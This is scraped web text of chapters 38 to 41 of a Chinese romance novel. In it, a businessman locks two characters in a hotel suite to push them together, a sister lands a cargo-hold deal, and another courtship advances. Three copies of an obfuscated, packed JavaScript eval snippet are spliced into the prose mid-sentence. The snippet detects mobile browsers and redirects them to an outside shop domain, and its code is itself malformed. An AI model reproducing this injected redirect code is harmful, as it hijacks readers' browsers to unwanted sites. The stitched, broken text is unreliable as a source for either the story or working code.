;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457367|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粒粒雪白的小珠子,长头发全数拢在脑后。分明是很朴素的打扮,他却瞧着她格外的秀美可爱,也许是这周末晴好的天气,兼之难得的独处机会,让他的心也轻轻摇曳起来。 蒋牧城替白瑾璎打开车门,在后者矮身钻进车里时,只觉得一阵暖香软绒绒地掠过鼻尖,再要去细嗅时,已经飘散不见了——白瑾璎已在副手座坐好了。 他暗自对自己觉得好笑,不过是一缕香味,就像失掉了魂似的。等在驾驶座上坐定了,才佯作不经意的样子问道:“你喷了什么?好香。” 白瑾璎“咦”了一声,把手心凑近到鼻尖细闻着,说:“大概是我的擦脸霜,香味太重了吗?” 蒋牧城的嘴角抿着笑容,瞥了她一眼,说:“不是擦脸霜,你一直用的擦脸霜的牌子我知道,不是那个味道。” “那是什么?我什么也没用呀。”白瑾璎也很疑惑,最后只能猜测道,“瑾瑜倒是用香水,大概是和她在一起的时候染到了一些吧。” 蒋牧城顿时在心里嗤了一声,但到底没把这份不痛快表现在脸上,只淡淡说了一句“不对”,也不再多谈,生怕话题就此偏离到白瑾瑜的身上。他才不知道白瑾瑜用的什么香水,横竖不可能是这种暖融融又令人适宜的香味。 汽车稳稳地停在了明月饭店的大门,一下车,便看见徐百富已恭敬地等在了门外。 他今天也是一身西服,但显然比昨天去学校的那身考究得多,另系了条暗红色条纹的领带,稍稍盖住微凸的肚腩,脚下一双皮鞋擦得锃亮。一看见二人从同一辆车上下来,当即热情地迎上来,半开玩笑道:“两位是焦不离孟,感情很好哩!” 蒋牧城不喜欢这种暧昧的调侃,此刻对象换成白瑾璎,也是怕她多想,进而窘迫,反倒疏远自己。便淡淡地解释一句:“我们顺路,就一道过来了。” 好在白瑾璎正从副手座那一边绕过来,像是没大听清徐百富的话,并未做出什么反应。 而徐百富也在看到蒋牧城蹙了蹙眉头后,知道自己失言了,当下在言语上规矩起来,不敢再提。 徐百富引着二人进了饭店大厅靠角落的一张小桌,招呼跑堂的上汤上菜,一面布菜劝菜,一面又说鉴于有女士在场,不宜多喝,只向蒋牧城敬了两杯黄酒就停了,总也算得上是主宾尽欢。 白瑾璎倒是有点奇怪,怎么不订一个雅间,更方便谈事?坐在大厅里,周围俱是别桌交谈说笑的声音,间或还有划拳的行酒令的,即便是靠角落的位置,也依旧显得闹哄哄。 想不到吃完了饭,徐百富站起来拱了拱手,笑道:“两位赏光,用完了饭,那就是谈正事了。这里又吵又乱,当然不方便谈事,好在这明月饭店很新式,楼上就有住宿的房间。我已经开好了一间套房,清清静静,不如我们上楼谈吧?” 38. 第 38 章 三人上楼。 徐百富拿着房牌让服务生带路,开的是三楼最靠里的一间宽敞套房,里间是睡床,外间是谈事用的厅房,茶几上已摆好了瓜果点心,又让人送来一壶茶水。 放在平时,给白瑾璎一百个胆子也不敢随便和人进这种酒店房间的,但因为有蒋牧城同在,自觉无需戒备忧心,便自在放松地进了屋子。私事公事,自然是私事先谈。 白瑾璎倒是尽心尽责,做了充足的准备,不光带来了徐克行的成绩单,连他几次随堂小测的分数都做了记录,放在一起看,很能看出突飞猛进的蹿升势头。 “您看,这才短短一个来月,徐同学就有这样大的长进,实在是有学习洋文的天赋。另外,这些只是纸面的考试成绩,我们在课上还会做口语练习,虽然没法记录,但我可以夸一句,他的口语能力同样进步飞快。”白瑾璎一番陈述并介绍,不知不觉已经讲了十来分钟,此刻得了个间隙,刚想倒杯水喝,便有人从旁递了一杯过来。 白瑾璎冲蒋牧城感谢地一笑,又回过头来看向徐百富,后者因他二人这一番互动而眼冒精光,面上仍是千恩万谢地恭维:“实在有劳白老师了呀,犬子是什么德行?向来是只有在先生那儿挨骂的份啊。可您看,您白老师一来,他的成绩居然就上去了,可见是您教得好,这是名师才出高徒哩!” 白瑾璎觉得他迷魂汤灌得也太过了,自己也不大好意思,抿着嘴角牵回正题道:“那我先前说的演讲比赛,您愿不愿意让他参加试试呢?我保证,这绝对是有好——” 还没有说完,徐百富已经大手一挥,爽快道:“参加!参加!白老师都说有益处了,我还有不支持的吗?” 他骤然之间转变了态度,完全没了上次推脱搪塞的样子,白瑾璎反倒狐疑起来,问道:“占用礼拜六的时间也不打紧吗?我看您上回不大愿意他周末上学校来,要是实在有事,不是不能商量别的办法。” 徐百富连着“唉哟”了两声,笑着道:“我那全是一片慈父之心呐!又觉得家里那小子怎样也不是一块读书的料,可今日听白老师您的意思,他未必不能有出息,那让他锻炼锻炼也无妨嘛。那句话是怎么说的?梅花香自苦寒来,是不是?要是为他读书好,失掉几个周末,那算什么?我一定全力支持的!” 这一番说辞与态度,说是一百八十度的大转变也不为过了!白瑾璎见他冲自己赔笑的同时,也不忘对旁边的蒋牧城露一个笑脸,心里便有一个猜测。 恐怕我是沾了蒋二哥的光了。白瑾璎心想:他要求着蒋二哥办事,又因为我们是认识的,便顺便当着蒋二哥的面,将我的事也应承下来卖一个好。难怪他想到了把我们二人约到一起,生意人的脑子,真是有够精灵。 她心里有点不痛快,但也只是一闪而逝,既然徐百富松口了,对徐克行来说总归是件好事,也就不再多想了。 白瑾璎将手上的材料收拢起来,道:“那末,我的事就算是谈完了。”目光看向蒋牧城,“你们谈事情,我也不方便打扰,就在旁边的小桌子喝茶看看画报吧。”说着便要起身。 徐百富忙向她拱了拱手,道:“白老师体贴周全呀,不过不急,眼看这茶也喝得差不多了,我正好去大堂再续一壶,顺便叫两份点心。”说罢,将茶壶一提,冲蒋牧城讨好似的挤一个眼色,微笑着退出了房间。 他一走,白瑾璎当下对蒋牧城嘀咕起来,“你不晓得,他昨天一万个不愿意合作,我现在真有点糊涂了。他现在答应得爽快,不要反悔得也快。”又弱弱地加了一句,“他像是卖你的面子呢。” 蒋牧城微笑一下,说:“卖谁的面子有什么要紧,你这边的事解决了,不就好了?何况,他卖好是他的事,真要谈公事,我是不徇私的。” 随后,白瑾璎又问了蒋牧城的家人,谈到自己家里,则说:“如今是各忙各的,当中学老师竟也不容易呢,晚上又要看外文典籍,一天下来,也就是晚饭时相互碰一面。瑾瑜就更不必说了,有时连晚饭也未必赶得上,倒是瑾琪喜气洋洋的样子,常常一个人偷偷发笑,瑾瑜有一回私下里找我,怀疑她在学校里谈恋爱了。” 蒋牧城笑了一声,摇着头无奈道:“你们老三的脑瓜子一向很灵活,她在学校里谈恋爱,我倒是相信。” “我真有点不放心,又不敢明着问,万一她没在谈呢?”白瑾璎忧愁地叹口气,耷拉下肩膀,“又万一,她谈的男孩子不好,你说我是阻止好,还是不阻止好?唉,现在的小女孩很有一点叛逆,有时候越拦着,她越要来劲的。” 这样那样闲聊的时候,并不感到时间流逝,等话题聊得差不多了,气氛一旦安静下来,白瑾璎便徒然的不自在起来。 从前她和蒋牧城相处的时候,要么就是热热闹闹地和家里人在一起,要么就是正在做什么事,譬如开车送一送她,或一道去什么地方,办完了也就结束了。像现在这样静悄悄的氛围......她扭过头偷觑一眼,见蒋牧城高高大大地坐在旁边,两手放松地搁在腿上,十指指尖互相抵着,似乎是在想事情。 她忙不迭地收回视线,只觉得心跳得飞快,也不知是什么缘故,上回在西点档口外分吃一块蝴蝶酥时也是这样。 心慌之间,白瑾璎无意往墙上一瞥,才发现时间早过了半个钟头之久,可徐百富竟还没有回来!她像是找到了一个由头,猛地从沙发上跳起来,也就是这一瞬间,蒋牧城本想握住她的手扑了个空,掩盖局促般收了回来。 “徐先生怎么还不回来,不要是出什么事了吧?”白瑾璎向蒋牧城问道,同时人也往门口走去,“我去大堂看一看吧。” 可当她的手握上门把手时,神色变得古怪起来,“咦,怎么......”手上又用力拧了两下,可把手还是纹丝不动,这是从外头被锁上了。 蒋牧城在白瑾璎面色有异时便走了过来,看到这里,他也伸手转了两下门把,同样是徒劳,又拍了好几下门,等了好一会儿,也没有服务人员来应。 惊慌的种子被种下后快速地发芽了,白瑾璎哪里还有工夫想什么徐百富,她只想到房间外走过的那条长走廊,这里又是少有人打扰的套房层,要是没有服务人员经过,那岂不是再没人能放他们出去? 她都没意识到自己轻微地发起抖来,视线满屋子地乱转,在看见睡房立柜上有一台电话机时,活像是看到了盛大的希望,“我真糊涂,饭店的住客要叫人,都是拨电话的!” 小鸟似的跑了过去,将电话提在手上,拨了呼叫服务台的号码零零壹,可不要说是占线的“嘟嘟”声,电话听筒里根本一点声音也无。这种情况,要么是电话坏了,要么是线路断了。 房门反锁,电话失灵,连徐百富也是去而不回,这几项放在一起,怎么由得人不害怕? 白瑾璎本来就胆子小,当下两手冰凉,惶然无措起来。她想着:不要紧,不要紧,蒋二哥也在呢。同时视线向外间望去,搜索蒋牧城的身 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女人会害怕男人,这是很正常的,可是......蒋牧城想到自己刚才握空的手,本来还存着一点希望,觉得没有关系,下次握住她时,一样可以摊开心怀来好好谈一谈。可此时此刻,只觉得所有铺垫都功亏一篑,下一次又是遥遥无期了。 心里越痛,对着徐百富便越恨起来。 而在白瑾璎一边,比起对蒋牧城身为异性所抱有的害怕,更多的是对他此刻气到了极点的脸色。他面色铁青,整张脸阴沉得可怕,透出明显的厌恶。她的心下意识地狠狠一缩,不明白他为什么这样生气。 蒋牧城为人是很大度的,对于工作人员误锁了门,绝不至于动怒至此,所以......他的生气和厌恶,有多少是和自己相关呢? 她伤心得不愿意去想,好在情况也不容她多想了,下一秒,蒋牧城已经松开了袖口,将袖子挽到肘间,拿起一把椅子便朝套房大门重重地砸去。 “咚——!!” 明月饭店二楼专管套房的服务总台,徐百富正坐在沙发椅里悠闲地咋着茶水,一面□□着摸出怀表来看了一眼,暗想:这才过了二十来分钟,少说还要有一阵呢! 他打心眼儿里觉得这一步棋走得妙,两个人能不能成,有时候就是缺一把火的事儿,自己将这把火给他点上,把这一份大礼直接给他送进卧房,哈哈!男人最清楚男人了,还有不受用的吗? 何况他还做了精心的准备,专门吩咐饭店大堂拔了那间房的电话线,到时候女人一慌,男人一搂,这一件事,不就成了吗?他帮着姓蒋的把人哄到手在先,到时候再提一个小小的请求,姓蒋的还能不答应? 徐百富越想越美,恨不得摇头晃脑地哼上一段,但再一个十分钟后,事情似乎不大对头了。 先是有人慌里慌张地去了服务总台,随后那里炸了锅一般,两个人往楼上跑,另一位套间经理则是神色紧张地来了自己这边:“徐先生,三楼那间房的客人砸门了,这和您说好的可不一样呀!” “您打了保票说绝没有问题,我才私下里给您办了,这动静要是闹大了,我是要吃瓜落的呀!哦,还有客人!以后哪个客人还敢住我们饭店?!” 还不等他啰啰嗦嗦地质问完,已然有一道身影突破了两个服务生的围堵,卷着刀子似的风径直靠近。有力的胳膊一抬一拽,轻易便将徐百富由沙发椅子上掀起,摁到了台面上。 蒋牧城恨红了眼道:“敢把这种不入流的手段耍到我头上,姓徐的,你胆子真不小。” 39. 第 39 章 “然后呢?”白瑾瑜连筷子也不动了,在听完事情始末后紧跟着问。 白瑾璎窘迫又为难似的抿了抿唇,道:“砸门的动静多么大,他才砸过两下,立刻就有人来替我们开门了。蒋二哥吩咐他的车先送我回家,自己又回了饭店,也不知为什么缘故,大概是找店家理论去了吧......” 她拿筷子拨弄着米饭,实在有些食不知味,蒋牧城沉着脸的样子总是不受控制地浮现在脑海,自己也莫名感到委屈,闷闷地道:“他不要是生我的气了吧?” 白瑾璎稀里糊涂的,不明白自己是中了别人的圈套,可白瑾瑜是怎样厉害精明的人物,在听到这个徐百富迟迟不回的时候,就已经将始作俑者的白条钉到了他的身上。虽说蒋牧城也算是个受害者,但她还是忍不住在心里哼笑:生什么气,姓蒋的怕是做梦都要笑了! 想是这样想,面上却并不打算说出来:这话暗示的意味太深了,我何必顺水推舟,替蒋牧城做筏子? 只是还不等她表示出意见,旁边喜滋滋夹着菜的老三倒先她一步丢出一颗炸弹来,把她的谋划给打破了。 白瑾琪随口道:“唉,真没劲,怎么就砸门了?这要是放在《摩登故事会》里,一准就是罗曼故事的开头了!话说回来,和二姐你这样的漂亮小姐呆在一起,蒋二哥还不乐意吗?” 还不等她把一颗冬菇放进嘴里,只见白瑾璎像是触了一下电似的,突然涨红了脸反驳道:“胡说!”这激动的样子,实在也是平时少见。 另一边,白瑾瑜也在桌子底下重重踢了老三一脚,凉飕飕的眼风随之而来。 白瑾琪见两个姐姐都瞪着自己,顿时委屈地缩着脚,叫道:“我就是随便一说呀!” 湿漉漉的大眼睛使劲地眨着,在白瑾瑜和白瑾璎之间滴溜溜看过一圈,立刻转过了口风:“真的!今天早上蒋二哥来接人的时候被隔壁那个余白瞧见了,他还和我打听,问那是不是我姐夫呢!我和他狠狠吵了一架,我说胡说八道!不是!” 挺着胸脯,显示忠心一般。 白瑾璎在听到“姐夫”这个词时,脸上的红晕更添一层,像是由白皙的皮肤下沁出血来似的。同时心里矛盾非常,忍不住往白瑾琪提出的思路上去想—— 设若真是这样的情境,那蒋牧城无疑是个正派的君子了,只是从另一方面看,他的行动也表明了对自己丝毫没有念想,又多少令人失...... 不对!不对!白瑾璎在心里对自己呐喊:他当初差点就是你的姐夫了呀!并且一直对你颇多关照,这么多年的二哥,难道是白叫的吗?亏你还能这样想他! 当下便把所有乱七八糟的念头都扑灭了,可这样一来,又觉得心里空落落的。 白瑾瑜暗暗观察着她变化不断的神色,心中实在感到不妙:但凡一位女子对一位男子的言行举止开始多想,情绪上又动摇不断的时候,那可就离“恋慕”不远了! 于是立刻将对话重新拨回到“生气”那一环,意图转移焦点,大事化小:“好了,不必多想。你又没做错什么事,他即便是生气,也不是生你的气。人都说女人的脸,六月的天,我看男人的情绪也是说来就来的,气一阵儿也就好了。停停停,不说他了,我有事要宣布呢。” 说着,白瑾瑜清了清嗓子,做演讲一般,微笑着道:“我生意上的困难,已经彻底地解决了!” 这件事说来真如奇遇一般,白瑾瑜此前在将一位昏死在马路边的太太送去医院后,自己也抽空去探望过几次,了解到这位太太姓陈,心脏一直不大好,从前出门时都会让女佣人陪同,也带着药,因为从没出过什么差池,渐渐也就放松了警惕。谁能想得到,偏偏是这一次独自外出的时候,心脏疾病就发作了! 白瑾瑜第二次去探望她时,陈太太已经转醒了,自然向她郑重道谢。可道完了谢,倒对她打量起来,半晌问道:“贵姓可是姓白?” 白瑾瑜惊奇道:“是,太太怎么知道?”从前白齐盛当军务总长时,倒是常常上报纸,但她可从没在报纸上露过脸呀;过往洽谈过的合伙人里,也不记得有这样一位太太。 陈太太笑了一笑,“从前许多宴请聚会,我们都同在受邀之列,不过彼此没有交谈过,所以白小姐不认识我。” 由此起头往下聊,才知道陈太太早年和丈夫离婚之后,就自己另起门户单开,经营西洋钟表生意,“死男人在外头花天酒地,挥霍银钱,凭什么要我共担损失?横竖我是气不过,兴许我这心脏病,就是那时候给气出来的哩!我是一点儿瞧不出男人有什么好,就连我自己的儿子,离婚那会儿一口咬定了要跟着他爸,如今没钱使了,还不是上我这儿打秋风?唉!” 说到这儿,转头看向白瑾瑜时,脸上又是温和的微笑了,“所以我才格外的留意你。” “你知道吗?我常常参加贵人们的宴会,年轻一代的小姐们,要么花枝招展地忙着玩爱情游戏,要么是东一场慈善仪式西一场文学沙龙的上报纸,或者以摩登之名登上杂志画报,总归是想方设法地出风头。这些小姐们也不工作,要风头名声有什么用?无非是想找个金龟婿罢了。爱情,男人,丈夫,那都是空的东西。但你不一样,东奔西跑一头扎进生意堆里的,就你一个。” 白瑾瑜似乎也顺着她的话回想起了过去的自己,现在来看,到底稚嫩又莽撞,自己也不好意思地笑了。 陈太太收敛了笑容,宽慰道:“白家的事,我也从报纸上知道不少,天不遂人愿,这是没有办法的。你的生意怎么样呢?” 白瑾瑜自觉没什么好遮掩的,坦言道:“和从前相比,确实困难了许多。” 陈太太又问,白瑾瑜便将需要租船运货,可合约没能谈成的事略说了说。 陈太太沉吟片刻,忽而抬头道:“且慢,且慢,我就是租用了孟家的半条船,不如从我这里单租一间货仓给你?价钱——价钱就按原价格来算!一分也不多要你的!” 白瑾瑜吓了一跳,不敢相信有这样天上掉馅饼的好事:怎么我救了她,她就正好有多一间的货仓给我呢?设若是专门为我匀出来的,势必自己要蒙受一点损失,在商言商,又怎么会丝毫不抬高租价呢? 心里不由生出一丝警惕,试探道:“那怎么行?我知道,一通电话并一台救护车,没有这样大的价值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472271|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈太太定定地看了白瑾瑜一眼,下一秒笑出声来,玩味道:“小姑娘,你以为我是感念你救了我,故意给你便宜占吗?你还是年纪小,看不出到底是谁占了便宜哩!” 说完,她静静地等着。白瑾瑜在心里飞快地捋着自己的人脉关系,如今白家失势,可利用的最大资源无非就是......这才后知后觉地回过味来:“您是想让蒋牧城卖我的面子,通过我,好让海关速速放行?” 陈太太面带激赏地点了点头,十二分坦诚道:“我知道白家和蒋家是很好的交情,这点情面,不会不给。但凡装了你货品的船,海关那边就绝不会拖延,立刻就能查验卸货,这是其一。” “第二,就是我所做的钟表行当了。此前西式的摆钟壁钟很是风靡,稍富裕点的人家就想买一个来装点门面,但那到底是大件,不会轻易更换,坏了或慢了,也多是请钟表师傅来修理,故而买家比从前少了不少。” “对壁钟的需求少了,货量当然也要减少,即便多进一些座钟或手表,体积相差悬殊,货仓本就空出不少。再有,卖大钟的店家少,小的钟表可就不一定了,随便哪家洋货行,估计都有几样货,这不就看谁家的货更新、上货更快了吗?所以你瞧,海关这一层关系,对我要不要紧?我把多余的货仓转租给你,等于我租的仓位毫不浪费,又多了一重时间上的保障,我亏在哪里呢?要是再抬高给你的租价,那我真是算计得太过,要觉得亏心了。” 陈太太并不掩藏自己的精明,甚至志得意满地冲白瑾瑜一笑,对此番决策颇为满意的模样。 这样的态度非但不惹人讨厌,反而因其真诚坦荡,让人心生好感信任。 白瑾瑜怔怔地瞧着她,一时间竟说不出话来。她从前对自己总有一点自得,从不否认自己较寻常女子更为聪明厉害,可如今才意识到自己还是太过狭隘,在真正厉害的人物面前,她可差得太远了。 白瑾瑜一面自叹弗如,一面又于内心深处萌发出一种激励与向往,未来活成陈太太这样,不也很好吗? “多的不说,总之,这桩协议就算是达成了。” 在白瑾瑜宣布了这件大事之后,不说白瑾璎狠狠为她松了口气,就连白瑾琪都欢欣鼓舞起来,知道家里的财政支柱保全了,总不会有退学之类的厄运降临在自己身上,小嘴直如抹了蜜一般,说了一箩筐的好听话。 白瑾瑜半真半假的面露嫌弃,把奶糖一般往人身上贴的白瑾琪扯开一点,正色道:“你不要耍花腔,我先前是太忙了,没工夫管你。我提醒你,可不要学别人在学校里谈什么爱情。一个个书没读进去几页的小孩子,懂什么爱情,男孩子更是了,真心没几两,谎话一箩筐。” 白瑾琪不大服气的样子,吐了吐舌头说:“大姐姐你不懂,我们戏剧社,那都是演戏。再说了,单单男人会骗人吗?谁骗谁还不一定哩!”说着,扒完最后两口饭,一溜烟地跑开了。 留下白瑾瑜与白瑾璎两两对视,无奈又好笑地继续用饭。 不过白瑾璎光顾着替她高兴,再没把注意力放在明月饭店的事件上,这一点还是令白瑾瑜格外满意的。 40. 第 40 章 陈金阑陈太太在医院住了小十天后便回家了。 一来是觉得自己好得差不多了,二来,即便住的是高级病房,也远远不如家里自在。医院里的小护士们虽说是为了病人好,说起话来,大多带点自恃专业人士的强硬,这不行那不行,连来探病的朋友都被请走了两次。 陈金阑是顶喜欢热闹的,最受不了这约束劲儿,天天催着主治医生批准她出院。 这天下午一回到家里,便接到一通电话。原先还以为是不争气的儿子又来哭穷,心道他的消息倒是灵通,自己什么时候出院都知道得一清二楚,怎么住院的时候鬼影子也见不到一个呢?于是任凭电话铃空响了三声,可对面就是不挂断,这才不耐烦地一把接到手里。 刚听了一句,晦气的脸色便转晴了:“原来是孟老板,多谢挂心了,我在医院的时候,您就送过慰问的果篮了。” 打来这通电话的,正是孟西洲无疑。 在那天和白瑾瑜谈崩之后,他实在进也不是退也不是,再要和她谈吧,恐怕换不来多少好脸色,若是再谈不顺,岂非比现在的情形更糟?可就此偃旗息鼓、分道扬镳呢?好不容易等白瑾瑜蹬开了那个姓柳的,要他看着她再遇见下一个姓林的姓杨的,偏偏自己又不能行动,这怎么叫人甘心? 于是只好偷偷地关注她。这段时间,白瑾瑜见过哪些个大小老板,他都是门儿清,就等着一个合适的机会露面,替她牵线搭桥了。她和陈太太达成合作的事,自然也逃不过他的耳目。 孟西洲和气地慰问了几句病情,便将话头转向了刚签不久的货船租赁合约上,说陈老板是信誉很好的老顾客了,可以再降低一成的租价,以达成更牢固长久的合作关系。又说:“我听说白小姐也和您租了一间货仓,能向这样自强自立的两位女士让利,我们是很乐见的。” 陈太太起先听得一头雾水,这一下顿时明白了,调侃似的打趣道:“我在商场沉浮多年,可再不相信天上掉馅饼这一套了。怎么我前脚刚租了白小姐一间货仓,后脚孟老板就赶着要给我让利呢?孟家那么多老主顾,别是只给我让了利吧?” 那边孟西洲沉默了片刻,再开口时,口气明显透着失落:“密斯白太倔了,我还能有什么法子呢?” 这回答真是妙极!对于陈太太的猜想并不否认,甚至明里暗里都透露出自己正在追求白瑾瑜的意思,要招揽来陈老板这个拥趸。此外,他讲话的口吻又带着受挫失意,仿佛他不再是坐在谈判桌对面的凌厉精干的孟老板,而是个受爱情之苦的年轻小伙,叫人心生好感与怜惜。 陈太太果然吃这一套。 她自己不结婚,可对于年轻男女的爱情,却很爱撮合一下,何况白瑾瑜本就是她很抱有好感的小姐,孟西洲孟老板呢,比起那些不着调的纨绔子弟,那可好出太多啦!哈,可堪一配! 心里兀自激动了一下,却说:“孟老板,不是我不帮你,有便宜我还不占吗?不过我能看出来的花招,白小姐未必看不出呀?她为人很谨慎,这一点在小姐之中就很难得。我提出照原价租给她一间货仓时,她还抱有疑心哩,现在又说要减免一成,她能猜不出里头有鬼吗?” 电话那边又是一阵沉默,似乎是无计可施了,正应了那中了爱情的金箭,又不善于玩爱情游戏的年轻人形象。 陈金阑兴味更盛,笑嘻嘻地道:“我当然是祝孟老板心想事成了,不过小姐们的心意是很难说的。我和白小姐很投缘,要是先受了你的好处,好心办了坏事,可就要失掉这个可心的朋友了。” 孟西洲沉吟了一瞬,忽然道:“医院里一定诸多的不自在,我明天在小芳廷替陈老板摆一桌去晦宴,您赏不赏光呢?”那口吻恭恭敬敬的,一点没有谈买卖时的气势,倒像是要请长辈帮一帮忙呢。 陈太太揶揄道:“是单独请我一个吗?那未免太冷清了,我再捎带一个过来,好不好呢?” 在她瞧不见的电话那边,孟西洲终于露出一个计谋得逞的微笑,嘴上却格外的谦卑,“当然,当然是最好。要是她真愿意过来,那我真要多谢陈老板。”又寒暄了两句,才将电话挂断。 陈金阑放下电话后,在沙发上狠狠乐了一阵,觉得这年轻男女的爱情关系,实在很有趣味,让人愿意去瞧,难怪那些八卦报纸一天天的登的都是明星之间的桃色绯闻。这样想着,又给白瑾瑜拨去了一通电话。 陈太太邀请她吃饭,白瑾瑜当然不会拒绝,谁知刚答应下来,那边就说:“啊呀,我差点忘了,明天孟老板也会来的。不过你也不必担心,他人很不坏,年纪也轻,你们年轻人,不怕找不到话说。” 白瑾瑜听到孟西洲要来,心里便咯噔一下,也不知在心虚什么。如今自己不靠他,也把这货仓的难题给解决了,怎么就不敢见他了呢? 陈金阑因她没有立刻接话,已然觉察出了她的犹豫,于是佯装对他二人的关系不知情的样子,轻松道:“你怪他这个大股东,不把货仓租给你吗?可你从我手上租到了,往他跟前一坐,正是种宣告胜利的方法呀,不是很痛快吗?对了,你还记不记得在我病房里削过一个苹果吃?那也是他送的果篮哩,多么巧!” 陈太太说话实在别有趣味,什么“往他跟前一坐,就是宣布胜利”,连白瑾瑜都忍俊不禁,再想一想那场面,果然紧张也跟着缓和不少。又听她侃了两句,还是答应下来。 第二天,白瑾瑜为避嫌疑,也没有特意打扮,一身淡色的西式套装便去小芳廷赴约了。 陈金阑和孟西洲来得更早,又因为孟西洲坐在正对入口的座位,白瑾瑜一走进包间便和他对视个正着。她神色一僵,还不知要说点什么,孟西洲已经对她露了个笑容,道:“密斯白,许久不见了。” 随即站起身来,体贴周到地替她拉开了座椅,好像先前那次不欢而散的谈话从没发生过似的。 冤家宜解不宜结,何况在座三个人,自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492328|151037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 租用陈太太的货仓,陈太太租用孟西洲的货船,真要算起来,姓孟的还是最上峰。这样一位举足轻重的人物率先表示出友好,递出台阶,自己还有不下的道理吗?白瑾瑜也就回了一个笑脸,大大方方地入座了。 既然是去晦宴,主角自然是刚出院不久的陈太太,孟西洲也做足了风度,甘愿做个镶边的配角儿,让话题围着陈太太转,哄她高兴。 直到西崽端来了最后的咖啡,陈太太啜了两口,提出要去补一补粉,拎着装了化妆镜的手袋便出去了。 包间里一下子冷清下来,白瑾瑜望了孟西洲一眼,见他垂眸不知在思索什么,便也心不在焉地先饮了一口咖啡。一口苦味刚含进嘴里,孟西洲便笑着看了过来,“不加糖就喝,不怕苦吗?” 说话的同时,也不管杯子还被白瑾瑜捏在手里,伸长了手,替她加了两块糖。 见白瑾瑜的目光被引到了自己身上,这才正了正脸色,示好道:“你还生我的气吗?在追求爱情这一点上,我大概太过心急,以至于用错了方法。不过人的想法总是各有差异的,好比读书时的算学题,用的方式不同,未必得不出正确的答案,是不是?” 白瑾瑜明艳的脸怔楞着,只有脸颊边轻轻晃动的两滴绿玉髓泄露了一点摇曳的心旌。孟西洲看在眼里,只觉得三年时光只在弹指之间,自己弯弯绕绕又遮遮掩掩的衷肠,不去倾诉,又有几个三年可以蹉跎?那轻轻晃动的不光耳坠,难道不也是自己的心吗? 可恨这耳坠叫人想起柳世新来,他记起来了,那时她在香山上办家庭小聚会,把姓柳的介绍给家里两个姐妹时,戴的就是这一副绿水滴似的耳坠。 受到这一份恼恨的影响,连声音都消沉下去,流露出几分失意:“我回去后仔细想过,你说的不错,爱情总该有纯粹的底色。可是,我既然爱你,就不能忍住不去帮你;可如果帮了你,就失去了谈爱你的资格,这似乎又是不可解的矛盾了。” 孟西洲微弱地一笑,将手伸到白瑾瑜放在桌上的手边,不敢径直握上去,只是静静地贴靠着,“你瞧,如今不正是老天给出的明示吗?你生意上的困境解决了,剔除了利益关系,我们还不能谈纯粹的爱情吗?” 白瑾瑜看着靠在自己手边那只指节分明的大手,真不知说些什么好。世上真有万分真诚恳切的、始终如一的爱情吗?在经过柳世新的变节后,她早已对此画上问号;可要说自己毫不心动,那又怎么可能呢? 就是在这一瞬间,白瑾瑜忽而恍悟了。 自己怎么傻了?命运莫测,今天难料明天的事,这世上又有什么是能够始终如一的? 自己对于孟西洲,竟想得这样久远,以至于患得患失起来,还不能说明对他的珍爱重视吗?既重视,不如先牢牢攥到手里,往后如何,那就看往后再说好了。 于是,桌上的手稍稍抬起,覆到孟西洲近在咫尺的手背上,妥协地叹了一句,“怎么不能够呢?” 41. 第 41 章 下一刻,底下的手便反手一握,将白瑾瑜的手牢牢控在了手心。 孟西洲的一双眼整个明亮起来,灼灼的视线投注在白瑾瑜身上,“你这是答应了?”生怕她反悔似的,又一口咬定,“你答应了,我听得清清楚楚!” 白瑾瑜还从没见过他这副兴冲冲的样子,忍俊不禁地一笑,说:“我很守信用,总不会和你赖账。” 将被握紧的手往回抽动一下,“好了,我们两个握着手,像什么样子?你放一放,我要去盥洗室找一找陈太太,怎么她去了这么久也不回来。” 刚说着,包间的门便被人从外头扭开了。陈太太施施然地踏进来,对于白瑾瑜飞快抽开又藏到桌下的手,只当看不见似的,冲孟西洲露出一个别有深意的微笑,抱歉道:“对不住,对不住,让你们久等。我是赶巧碰上一个熟人,聊着聊着,就忘记时间了。” 孟西洲客气道:“哪里,今天您是受招待的一方,多久也等得。只是陈老板刚出院不久,我不好再安排多的活动,不如就坐我的车回去,您意下如何?” 陈金阑见他满脸都是愉悦的光彩,可见心情极好,眨了眨眼,心里便有数了。却故意扭头看向白瑾瑜道:“孟老板太客气了,一样要送,不如多送一位。白小姐要不要一道回家?” 白瑾瑜刚要说话,却被孟西洲抢了个先,反过来问她道:“密斯白要回家吗?我们刚谈到的新电影,密斯白说很有兴趣,一样出来了,我以为你会去看一看呢。” 